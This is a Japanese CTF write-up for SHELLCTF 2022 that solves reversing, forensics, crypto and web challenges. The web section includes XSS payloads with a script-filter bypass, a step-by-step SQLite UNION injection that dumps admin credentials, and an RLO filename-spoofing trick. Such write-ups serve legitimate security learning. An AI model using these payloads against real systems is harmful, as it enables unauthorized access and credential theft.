SHELLCTF 2022 Writeup

この大会は2022/8/12 21:30(JST)~2022/8/14 21:30(JST)に開催されました。
今回もチームで参戦。結果は5471点で1093チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordに入り、#announcementsチャネルを見ると、フラグが書いてあった。

SHELLCTF{W3lc0me_2_SHELLCTF2022}

World's Greatest Detective (Misc)

問題の画像は以下の通りで、換字式暗号と推測できる。

"wakandan font"で検索すると、対応表が出てくる。

https://www.pinterest.jp/pin/783837510135856581/
https://omniglot.com/conscripts/wakandan.htm

この表に従い、対応する文字を並べる。

SHELLCTF{W4kandA_F0rev3r}

How to defeat a dragon (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  int local_7c;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_78 = 0x4654434c4c454853;
  local_70 = 0x343534383433357b;
  local_68 = 0x3434353334633463;
  local_60 = 0x3535333133623736;
  local_58 = 0x3336373333323566;
  local_50 = 0x3631333533323733;
  local_48 = 0x3333336635373665;
  local_40 = 0x3766333937333734;
  local_38 = 0x7d64;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  printf("Help us defeat the dragon!! Enter the code:");
  __isoc99_scanf(&DAT_00102034,&local_7c);
  if (local_7c == 0x10f2c) {
    printf("Yeahh!!,we did it,We defeated the dragon.Thanks for your help here\'s your reward : %s",
           &local_78);
  }
  else if (local_7c == 0x45) {
    printf("Nice,but this is not the code :(.");
  }
  else if (local_7c == 0x1a4) {
    printf("Bruh!! Seriously?");
  }
  else {
    printf("wron..aaaaaahhhhhhhh");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
>>> 0x10f2c
69420

入力時に69420を指定すれば、フラグが表示される。

$ ./vault 
Help us defeat the dragon!! Enter the code:69420
Yeahh!!,we did it,We defeated the dragon.Thanks for your help here's your reward : SHELLCTF{5348454c4c4354467b31355f523376337235316e675f333473793f7d}

このままだと通らない。ブラケットの中をhexデコードする。

$ echo 5348454c4c4354467b31355f523376337235316e675f333473793f7d | xxd -r -p
SHELLCTF{15_R3v3r51ng_34sy?}
SHELLCTF{15_R3v3r51ng_34sy?}

warmup (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  bool bVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_ac;
  int local_a8 [28];
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("enter the flag: ");
  __isoc99_scanf(&DAT_00102015,local_38);
  sVar2 = strlen(local_38);
  if (sVar2 == 0x1b) {
    local_a8[0] = 0x1cc;
    local_a8[1] = 0x1a0;
    local_a8[2] = 0x194;
    local_a8[3] = 0x1b0;
    local_a8[4] = 0x1b0;
    local_a8[5] = 0x18c;
    local_a8[6] = 0x1d0;
    local_a8[7] = 0x198;
    local_a8[8] = 0x1ec;
    local_a8[9] = 0x188;
    local_a8[10] = 0xc4;
    local_a8[11] = 0x1d0;
    local_a8[12] = 0x15c;
    local_a8[13] = 0x1a4;
    local_a8[14] = 0xd4;
    local_a8[15] = 0x194;
    local_a8[16] = 0x17c;
    local_a8[17] = 0xc0;
    local_a8[18] = 0x1c0;
    local_a8[19] = 0xcc;
    local_a8[20] = 0x1c8;
    local_a8[21] = 0x104;
    local_a8[22] = 0x1d0;
    local_a8[23] = 0xc0;
    local_a8[24] = 0x1c8;
    local_a8[25] = 0x14c;
    local_a8[26] = 500;
    bVar1 = true;
    for (local_ac = 0; local_ac < 0x1b; local_ac = local_ac + 1) {
      bVar1 = (bool)(bVar1 & local_a8[local_ac] >> 2 == (int)local_38[local_ac]);
    }
    if (bVar1) {
      puts("yes, that\'s it");
    }
    else {
      puts("nah that\'s not it");
    }
  }
  else {
    puts("wrong length");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_a8の各値を右へ2ビットシフトすればよい。

#!/usr/bin/env python3

enc = [0x1cc, 0x1a0, 0x194, 0x1b0, 0x1b0, 0x18c, 0x1d0, 0x198, 0x1ec, 0x188,
    0xc4, 0x1d0, 0x15c, 0x1a4, 0xd4, 0x194, 0x17c, 0xc0, 0x1c0, 0xcc, 0x1c8,
    0x104, 0x1d0, 0xc0, 0x1c8, 0x14c, 500]

flag = ''
for c in enc:
    flag += chr(c >> 2)
print(flag)
shellctf{b1tWi5e_0p3rAt0rS}

Pulling the strings (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  wchar_t local_158 [82];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  wprintf(L"Give Something to eat.\n I\'m Hungry!!");
  fgetws(local_158,0x50,stdin);
  iVar1 = wcscmp((wchar_t *)flag,local_158);
  if (iVar1 == 0) {
    fputws(L"Thank you!",stdout);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

flagのデータを見てみる。

                             flag                                            XREF[2]:     Entry Point(*), main:00101213(R)  
        00104010 08 20 10        addr       u_SHELLCTF{Th4nks_f0r_the_food}_00102008         = U"SHELLCTF{Th4nks_f0r_the_food}"
                 00 00 00 
                 00 00
SHELLCTF{Th4nks_f0r_the_food}

Keygen (Reversing)

Ghidraでデコンパイルする。

undefined8 main(int param_1,long param_2)

{
  size_t sVar1;
  undefined8 uVar2;
  int local_20;
  int local_1c;
  
  if (param_1 == 2) {
    printf("Checking license: %s\n",*(undefined8 *)(param_2 + 8));
    local_20 = 0;
    local_1c = 0;
    while( true ) {
      sVar1 = strlen(*(char **)(param_2 + 8));
      if (sVar1 < (ulong)(long)local_1c) break;
      local_20 = local_20 + *(char *)((long)local_1c + *(long *)(param_2 + 8));
      local_1c = local_1c + 1;
    }
    if (local_20 == 0x312) {
      uVar2 = getString();
      printf("Access Granted!:%s",uVar2);
    }
    else {
      printf("Wrong!!!");
    }
  }
  else {
    puts("Usage: ./keygen <key>");
  }
  return 0;
}

undefined * getString(void)

{
  undefined *puVar1;
  
  puVar1 = (undefined *)malloc(0x19);
  *puVar1 = 0x53;
  puVar1[1] = 0x48;
  puVar1[2] = 0x45;
  puVar1[3] = 0x4c;
  puVar1[4] = 0x4c;
  puVar1[5] = 0x43;
  puVar1[6] = 0x54;
  puVar1[7] = 0x46;
  puVar1[8] = 0x7b;
  puVar1[9] = 0x6b;
  puVar1[10] = 0x33;
  puVar1[0xb] = 0x79;
  puVar1[0xc] = 0x67;
  puVar1[0xd] = 0x65;
  puVar1[0xe] = 0x6e;
  puVar1[0xf] = 0x5f;
  puVar1[0x10] = 0x31;
  puVar1[0x11] = 0x73;
  puVar1[0x12] = 0x5f;
  puVar1[0x13] = 99;
  puVar1[0x14] = 0x30;
  puVar1[0x15] = 0x6f;
  puVar1[0x16] = 0x4c;
  puVar1[0x17] = 0x7d;
  puVar1[0x18] = 0;
  return puVar1;
}

getStringの値を文字にすればよい。

#!/usr/bin/env python3

enc = [0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x54, 0x46, 0x7b, 0x6b, 0x33, 0x79,
    0x67, 0x65, 0x6e, 0x5f, 0x31, 0x73, 0x5f, 99, 0x30, 0x6f, 0x4c, 0x7d]

flag = ''
for c in enc:
    flag += chr(c)
print(flag)
SHELLCTF{k3ygen_1s_c0oL}

"hoge"という名前を入れて、Submitすると、以下のURLに遷移するが、特に表示は変わらない。

http://20.125.142.38:8326/check?name=hoge

リンクされている/static/base_cookie.cssを見てみると、下の方に以下のコメントがある。

/*   name="C0loR"  */

クエリパラメータのkeyとvalueの組を変えてアクセスする。

$ curl http://20.125.142.38:8326/check?C0loR=Blue
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>S.H.E.L.L CTF</title>
    <link rel="stylesheet" href="/static/base_cookie.css">
  </head>
  <body>
    <h5 id="flag"> shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...} </h5>
    <div id="flag_fake">
      <img src="../static/Hack1.jpg" alt="">

    </div>
  </body>
</html>
shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...}

Choosy (Web)

"A"と入力すると、以下のURLになり、"a"と表示される。

http://20.193.247.209:8333/result?input=A

以下のURLにアクセスすると、太字で"a"と表示される。

http://20.193.247.209:8333/result?input=<b>A</b>

以下のURLにアクセスすると、"<>alert(1)"と表示される。

http://20.193.247.209:8333/result?input=<script>alert(1)</script>

以下のURLにアクセスすると、ポップアップして"1"と表示される。

http://20.193.247.209:8333/result?input=<scscriptript>alert(1)</scscriptript>

どうやら1回限り"script"は削除されるようだ。scriptタグではなく、imgタグでできる方法も調べてみる。以下を入力し、Submitすると、ポップアップして、フラグが表示された。

<img src="1" onerror="alert(1)">
shellctf{50oom3_P4yL0aDS_aM0ng_Maaa4nnY}

Doc Holder (Web)

画像にコードを埋め込み、アップロードするタイプの問題と推測。まず通常のjpgをSubmitしてみたが、特に関連するデータは表示されず、以下のように表示されるのみ。

Not Tasty

他にもいろいろなファイルをSubmitしてみたところ、pdfファイルのみ以下のように表示される。

Yummmmmmmmmmyyyyy

問題文にヒントが追加されている。

Hint --- Challenge is all about file extension of the file that you are uploading....

拡張子に関する問題ということらしい。RLOの問題と推測し、PDFファイルのファイル名を以下のように変える。

exploit.fdp

さらに"."と"f"の間にRLO制御文字を入れる。

exploit.[RLO]fdp

見た目はexploit.pdfになるので、このファイルをSubmitすると、フラグが表示された。

shellctf{R1ghtt_t0_l3ft_0veRiDe_1s_k3Y}

Extractor (Web)

SQLインジェクション

Username :' or 1=1 -- -
Password: (空欄)
Signature: (空欄)

上記を入力すると、以下のように表示される。

Welcome
Here is what you left with us :
Name : user
Password : P4ss321
Signature : Nothing here

Usernameにいろいろ入力して情報を抜いてみる。まず列数を割り出す。

・' union select 1 -- -
 →SELECTs to the left and right of UNION do not have the same number of result columns

・' union select 1, 2 -- -
 →SELECTs to the left and right of UNION do not have the same number of result columns

・' union select 1, 2, 3 -- -
 →SELECTs to the left and right of UNION do not have the same number of result columns

・' union select 1, 2, 3, 4 -- -
Welcome
Here is what you left with us :
Name : 2
Password : 3
Signature : 4

次にテーブルの中身を抜いていく。

・' union select 1, sqlite_version(), 3, 4 -- -
Welcome
Here is what you left with us :
Name : 3.27.2
Password : 3
Signature : 4

・' union select 1, 2, count(*), 4 from sqlite_master where type='table' -- -
Welcome
Here is what you left with us :
Name : 2
Password : 3
Signature : 4

・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : Admins
Signature : 4

・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 1, 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : sqlite_sequence
Signature : 4

・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 2, 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : users
Signature : 4

・' union select 1, 2, sql, 4 from sqlite_master where type='table' and name='Admins' limit 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : CREATE TABLE Admins ( id INTEGER PRIMARY KEY AUTOINCREMENT, user TEXT NOT NULL, pass TEXT NOT NULL, content TEXT NOT NULL )
Signature : 4

・' union select 1, user, pass, content from Admins limit 1 -- -
Welcome
Here is what you left with us :
Name : Adminnn
Password : H4rD_t0_Gue5s
Signature : shellctf{Sql_1Nj3c7i0n_B45iC_XD}
shellctf{Sql_1Nj3c7i0n_B45iC_XD}

Alien Communication (Forensics)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

shell{y0u_g07_7h3_f1ag}

Secret Document (Forensics)

"shell"をkeyとして、XORで復号すると、pngが復元される。

#!/usr/bin/env python3
with open('Secret-Document.dat', 'rb') as f:
    ct = f.read()

key = b'shell'

pt = b''
for i in range(len(ct)):
    pt += bytes([ct[i] ^ key[i % len(key)]])

with open('flag.png', 'wb') as f:
    f.write(pt)

復元されたpng画像にフラグが書いてあった。

shell{y0u_c4n_s33_th3_h1dd3n}

Hidden File (Forensics)

$ steghide extract -sf Hidden.jpg -p shell
wrote extracted data to "Hidden Files.zip".
$ unzip "Hidden Files.zip"
Archive:  Hidden Files.zip
  inflating: se3cretf1l3.pdf         
  inflating: something.jpg           
  inflating: flag.zip

PDFを開き、全選択すると、以下の文字列が隠されていた。

key is shellctf

jpgのQRコードをデコードする。

https://www.youtube.com/watch?v=dQw4w9WgXcQ

いつもの「Rick Astley - Never Gonna Give You Up」に」動画。このURLは関係なさそう。先ほどのkeyをパスワードにして、flag.zipを解凍すると、flag.txtが展開され、フラグが書いてあった。

shell{y0u_g07_th3_flag_N1c3!}

Heaven (Forensics)

StegSolveで開き、[Analyse]-[Data Extract]で、RGBの7ビット目だけチェックを入れると、フラグが現れた。

SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}

GO Deep! (Forensics)

DeepSoundに取り込み、パスワードに"shell"を指定すると、Deep Flag.txtが抽出できる。抽出したファイルにフラグが書いてあった。

SHELL{y0u_w3r3_7h1nk1ng_R3ally_D33p}

Tweeeet (Crypto)

問題の画像は以下の通りで、Birds on a wire codeの換字式暗号と推測できる。

https://www.geocachingtoolbox.com/index.php?lang=en&page=codeTables&id=birdsOnAWireを参照して復号する。

WELOVESINGING
SHELL{WELOVESINGING}

MALBORNE (Crypto)

難解プログラミング言語のMalbolge。https://malbolge.doleczek.pl/で実行する。

Hi hope everything is fine , here is your flag:  SHELL{m41b01g3_15_my_n3w_l4ngu4g3}
SHELL{m41b01g3_15_my_n3w_l4ngu4g3}

Feel me (Crypto)

0, 1で点字を表した動画と推測できる。フレームごとに静止画に分解してみる。

#!/usr/bin/python3
import cv2
import os

def save_all_frames(video_path, ext='jpg'):
    if not os.path.exists(video_path):
        return

    cap = cv2.VideoCapture(video_path)

    if not cap.isOpened():
        return

    dir_path = os.path.dirname(video_path)
    digit = len(str(int(cap.get(cv2.CAP_PROP_FRAME_COUNT))))

    n = 0

    while True:
        ret, frame = cap.read()
        if ret:
            filename = '{}_{}.{}'.format(os.path.splitext(os.path.basename(video_path))[0], str(n).zfill(digit), ext)
            cv2.imwrite(os.path.join(dir_path,filename), frame)
            n += 1
        else:
            return

save_all_frames('video.mp4')

分解した点字の画像をそれぞれデコードする。

**ssshheeelllll**yyyoouuuccaaannssseeeeemmeee**ssshheeelllll
SHELL{youcanseeme}

Tring Tring.... (Crypto)

モールス信号としてデコードする。

999/666/88/222/2/66/777/33/2/3/6/999/7777/6/7777

ガラケーキーパッドのキー入力としてデコードする。

YOUCANREADMYSMS
SHELL{YOUCANREADMYSMS}

OX9OR2 (Crypto)

ブルートフォースして、'SHELL'に復号される箇所を見てみたが、やはり先頭しか妥当な箇所はない。あとは鍵などから推測して復号する。

#!/usr/bin/env python3
with open('encrypted', 'rb') as f:
    ct = f.read()

pt_part = b'SHELL'

for i in range(len(ct) - 5):
    key = [''] * 9
    for j in range(len(pt_part)):
        key[(i + j) % 9] = chr(ct[i + j] ^ pt_part[j])
    if not ''.join(key).isalnum():
        continue
    pt = ['*'] * len(ct)
    success = True
    for j in range(len(ct)):
        if key[j % 9] != '':
            p = ct[j] ^ ord(key[j % 9])
            if p < 32 or p > 126:
                success = False
                break
            pt[j] = chr(ct[j] ^ ord(key[j % 9]))
    if pt[0] == '_':
        success = False
    if success:
        print('[+] flag:', ''.join(pt))
        break

## guess
flag_head = b'SHELL{X0R'
for i in range(5, 9):
    key[i] = chr(ct[i] ^ flag_head[i])
print('[+] key:', ''.join(key))


flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ ord(key[i % 9]))
print('[*] flag:', flag)

実行結果は以下の通り。

[+] flag: SHELL****_1S_R****51BL3*
[+] key: XORISCOOL
[*] flag: SHELL{X0R_1S_R3VeR51BL3}
SHELL{X0R_1S_R3VeR51BL3}